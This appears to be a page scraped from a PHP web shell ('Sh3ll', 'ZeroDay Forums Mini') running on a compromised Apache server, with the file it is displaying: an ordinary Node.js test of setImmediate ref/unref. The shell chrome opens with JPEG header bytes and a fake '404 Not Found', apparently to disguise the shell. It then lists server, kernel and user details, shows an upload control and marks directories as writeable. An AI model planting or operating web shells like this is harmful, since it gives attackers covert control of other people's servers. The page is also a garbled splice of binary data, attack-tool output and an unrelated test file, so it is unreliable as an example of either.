����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/parallel/test-timers-immediate-unref.js
'use strict';

const common = require('../common');
const Countdown = require('../common/countdown');

const assert = require('assert');

const immediate = setImmediate(() => {});
assert.strictEqual(immediate.hasRef(), true);
immediate.unref();
assert.strictEqual(immediate.hasRef(), false);
clearImmediate(immediate);

// This immediate should execute as it was unrefed and refed again.
// It also confirms that unref/ref are chainable.
setImmediate(common.mustCall(firstStep)).ref().unref().unref().ref();

function firstStep() {
  const countdown =
    new Countdown(2, common.mustCall(() => setImmediate(secondStep)));
  // Unrefed setImmediate executes if it was unrefed but something else keeps
  // the loop open
  setImmediate(() => countdown.dec()).unref();
  setTimeout(() => countdown.dec(), 50);
}

function secondStep() {
  // clearImmediate works just fine with unref'd immediates
  const immA = setImmediate(() => {
    clearImmediate(immA);
    clearImmediate(immB);
    // This should not keep the event loop open indefinitely
    // or do anything else weird
    immA.ref();
    immB.ref();
  }).unref();
  const immB = setImmediate(common.mustNotCall()).unref();
  setImmediate(common.mustCall(finalStep));
}

function finalStep() {
  // This immediate should not execute as it was unrefed
  // and nothing else is keeping the event loop alive
  setImmediate(common.mustNotCall()).unref();
}

ZeroDay Forums Mini